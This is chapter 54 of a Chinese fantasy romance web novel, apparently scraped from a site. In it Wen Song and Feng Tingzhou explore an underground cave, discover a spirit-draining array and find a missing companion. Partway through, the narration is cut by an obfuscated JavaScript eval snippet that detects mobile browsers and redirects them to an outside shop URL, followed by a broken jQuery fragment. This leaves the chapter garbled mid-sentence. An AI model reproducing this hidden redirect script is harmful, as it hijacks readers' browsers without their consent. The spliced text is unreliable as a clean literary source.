54. 第 54 章

作品:《合作对象他想攻略我?

    文淞将自身周围都包裹上一层厚厚的灵力,用来抵御地面带来的冲击。


    正在她惶恐不安时,耳根处却突然传来丝丝热意,金光在耳饰那里闪了一下。


    隐约之中,她似乎看见一个熟悉的白衣身影。


    “卫观珩……”


    她轻轻念着他的名字,意识消散前,她似乎看见那道人影顿了顿。


    “文淞,你会没事的。”


    许久后,轻轻的呢喃声传来。


    文淞的意识彻底消散。


    等醒来后,她觉得自己正靠在一片柔软的织物上,周身轻飘飘的,她定眼看,发现靠着的不是织物,而是用灵力堆砌的气团。


    “哎呦,什么东西!”


    在看到身旁还趴着个浑身脏污的不明生物时,文淞猛地往后跳了两下,等到仔细看清楚,才发现那正是半死不活的风听舟。


    怎么回事?


    她低头看看自己洁净无痕的衣裳,又打量了一下浑身狼狈的少年,露出疑惑的神情。


    “别,别杀我,我答应你,答应你。”


    很快,文淞看见少年的身躯剧烈抖动起来,同时也在低声喃喃着什么。


    不过声音很模糊,她凑到前面,弯下腰来细细辨别着。


    “我,我不会和文淞成婚。”


    “你放过我,放过我。”


    听了这话,文淞的眉头皱的紧紧的。


    这都是什么跟什么。


    那婚约,不是因为他想去追求自己的自由和幸福才解除的吗?


    难道还有第三人。


    文淞狐疑地弯下腰,想要再细听一番,就在这时,风听舟的双眼猛地睁开了。


    他有些迷茫地看了一圈周围,最后露出了安心的神情:“还好,他没来。”


    “谁没来?”


    身侧传来少女疑惑的询问声,风听舟这才扭过头,看清文淞的脸,他就像见了鬼那样慌忙朝后退了几步。


    看他的模样十分古怪,文淞怔愣了瞬间,伸手指了指自己:“你怕我?”


    风听舟的神情却是复杂起来,他甩甩脑袋,可能是过于慌张,不由地将脑中的话倒出来。


    “不是怕你,文淞,是怕卫公子。”


    他的语气恹恹地,但在接收到文淞惊讶的目光后,像是意识到什么,他猛地捂住了嘴巴。


    想到幻境之中白衣男子提剑追着他乱砍的场面,风听舟不由地打了个寒颤,朝着文淞摆摆出手:“千万别问,文淞。”


    “就当你行行好。”


    说到最后,他的语气都带上些哀求,差点给她磕一个。


    见到他这过于夸张的反应,文淞心底更加狐疑。


    记忆里,卫观珩和风听舟也没什么过节吧,为何他会那么害怕。


    而且除了那些故意捣乱的人,卫观珩都是笑面如风,温和有礼——


    文淞看了看拼命捂嘴的少年,忽然明白了什么。


    说不定是风听舟做了什么蠢事,就像今日他扯她往下掉这样。


    那卫观珩收拾他也是情有可原。


    文淞心中明了,转过身来,开始打量着周围。


    与上面看到黑漆漆的模样不同,这里灯火透明,能够清楚地看见地面所绘制的古怪阵法。


    “是我哥!”


    文淞还在皱着眉辨认这是个什么图案呢,身后忽然传来风听舟兴奋的声音。


    “这是我哥绘制的!”


    见到他露出兴致勃勃的神情,正要解释一番,文淞捂了捂脸,忽然又有些明白为什么他能和卫观珩结仇了。


    这样没心没肺的,保不齐是捅破了卫观珩什么秘密。


    文淞平复下来心情,向着风听舟掀了掀眼皮,露出一抹笑意:“那这个东西是干嘛的?”


    很快,她看见少年坚决地甩甩脑袋。


    “我不能说。”


    他的语气很坚定,守口如瓶的模样。


    文淞目瞪口呆。


    那他刚刚告诉她这个有什么用。


    她思考了两秒,掌心的灵力渐渐凝成一把青色长剑,剑身之中散发着寒意。


    风听舟感受到那寒意,朝后缩了缩,只不过下一刻,脖颈处便传来凉意。


    见到他露出惊恐的神情,文淞笑盈盈地开口了:“现在可以说,那个阵法是做什么了的吧?”


    虽然对同是学渣的风听舟做出此等行为不太仗义,但这不也是形势所迫么?


    说不定安穗川的消失就和这阵法有关,她不可能坐视不管。


    见到文淞微勾的嘴角,风听舟害怕地缩缩脖子,试图离那长剑远些。


    好可怕,文淞变得和那个神经病一样可怕。


    “我说我说。”


    随着时间推移,他用妥协的语气开口。


    “这是用来聚集灵力的,我们风家善于术法制符,但在灵力浓度方面便有些不足。”


    “为了在战斗中保证灵力的供养,我们常常画下这种阵法,用来收集周围人外泄的灵力。”


    闻言,文淞了然地点点头,像是想到什么反问道:“那若是非战斗情况下,也会画下这种阵法么?”


    风听舟摇摇头:“通常来说,不会,除非是想使坏招,强行吸收别人的灵力来提升自身—”


    说完这话,他猛地抬起脑袋,震惊地看向文淞:“文淞,你不会是怀疑我哥吧?”


    看着他那张天真烂漫的脸,文淞尬笑着,一时不知道该说些什么好。


    “我哥不是那样的人!”


    他斩钉截铁地开口了,见到文淞面上还是不太相信的模样,他急急补充道:“我哥可是最崇拜卫小公子了,卫初,那个以身镇魔,守护苍生的人,从小,他便立誓成为卫小公子那样的人,怎么可能会做出这样的事!!”


    见到他激动不已的模样,文淞抿抿嘴唇。


    那说不定你哥只是崇尚卫初强大的实力,这样的话,完全就有动机做这些事了。


    毕竟……


    知道了风家和陆家曾勾结在一起挑动这么多祸端,她实在是无法再以平常心来看待风家人。


    包括风听舟,实话实说,文淞对他是有隔阂的。


    只是很快,她收回这般思绪,脸上露出几分笑意。


    可现在,他们是有着同一个目标的。


    她拍拍对方肩膀,安慰般地说道:“嗯嗯,我相信你。”


    苍白的几个大字,毫无说服力。


    风听舟深深看了她一眼,忽然跑开了:“文淞,我一定会证明给你看的!!”


    文淞望着他跑到一块石壁前,眼见着就要撞上去了,欲言又止地抬起手:“你,你不用……”


    话还没说完,对方整个身躯便陷在了那个石壁上,而后被周围的岩层缓缓被吞没。


    鲜红的身影消失在这里。


    文淞瞪大眼,走上前,站在不远不近的位置小心观察着,那里没有任何裂开的痕迹。


    这个石洞就这么大点,除了这里,似乎也没有别的路了。


    难怪他说什么要证明给她看。


    文淞明白了,也学着刚刚风听舟的模样抱住石壁。


    果然,她感觉自己身子一软,便陷了进去。


    “文淞?你怎么也跑进来了?”


    她还没反应过来呢,身侧忽然传来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987589|193192||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惊呼声。


    与满脸焦急的风听舟大眼对小眼,文淞心中顿时有种不详的预感。


    “你不是在带路么?”


    风听舟眨眨眼茫然地摇摇头:“不是啊,我刚刚跑到那里,就有种怪异的力量将我拖了进来。”


    文淞不死心,又问道:“你不是风家人么?你看看,这里和你哥那个阵法有什么联系?”


    但听了这话,风听舟却是低下头,扭捏着搓了搓手指。


    文淞心中那种不详的预感更甚:“你,你不会不知道吧?”


    少年立刻抬起脑袋,语气也带上些委屈:“你知道的,文淞,我在我们风家,就是个吉祥物,我哥才是被给予全家希望的人。”


    文淞特别想无语扶额,但很快,风听舟的语气又上扬起来:“但是待在这的话,肯定找不到出口了,我们还是去前方看看吧。”


    还挺乐观。


    文淞心想,她仿佛也被这种积极的心态感染了,面上的严肃也淡去几分。


    不知是运气好,还是怎样,不一会,在一个类似于牢狱的方形洞穴中,文淞看到了一个熟悉的身影。


    正是莫名消失的安穗川。


    她的周围零零落落还躺着几个穿红袍的弟子,文淞朝着风听舟使了个眼色,对方冲着她开心地点点头。


    “文淞,就是他们!”


    两人对视一眼便想上前,可却被一道泛着白光的灵力弹开了。


    “这也是你哥的手笔?”


    文淞扭过脑袋问了一声,风听舟的面色煞白,低低地应了一声:“是……”


    但很快,他又像是辩解着什么,语气变得急促:“但我哥这么做一定是有苦衷的,他要是有什么坏心思,为何要拉我们风家弟子来垫背。”


    文淞默默在心中反驳。


    说不定你哥为了自己根本就不在乎这些弟子的死活呢。


    但面上她还是鼓舞着拍拍对方的肩膀:“嗯嗯,我相信你。”


    第二次听到这苍白无力的回答,风听舟张了张嘴,有些黯然地垂下长睫。


    “你根本就不信……”


    听到他喃喃自语,文淞愣了一瞬,紧接着,眼角弯了弯:“风听舟,我相不相信,根本就不重要吧。”


    她耐心解释道:“我只想救下我想找的人,知道这里所发生事情的真相,至于其他的,我并不关心。”


    “你哥要做的事,也与我无关。”


    望着她认真的模样,风听舟也有些愕然,放在身侧的手顿了顿。


    他那一向清澈到能够看清心思的双眸露出几分迷茫。


    他好像自始至终,都对文淞有着什么很大的误解。


    初见时,那个神经病和她一起救下他,他以为她是个善良热心的人。


    与她一同陷入幻境时,他又觉得她是个随性却又十分可靠的人,吸引着逃婚的他对她也产生了点点好感。


    后来,得知她就是那个家族定下的未婚妻,其实他的心底是有些窃喜的。


    虽然这婚约被那个神经病拿剑给斩断了,但若是以后要选择相伴一生的人,他还是会选择她。


    毕竟,她和他都是为了自由不向现实屈服的人。


    这般随性!


    这般不畏流言!


    但现在,他发现了什么不对,她好像,并不是随性,而是真的毫不在乎。


    就像置身于这个世界之外的陌生人,静静地旁观着他们在时间的转动下前行。


    意识到这点,他有些毛骨悚然地抖了抖身子。


    怎么可能?


    那个能够扭转时空的神物,当年早就被卫初拿来镇压魔气了。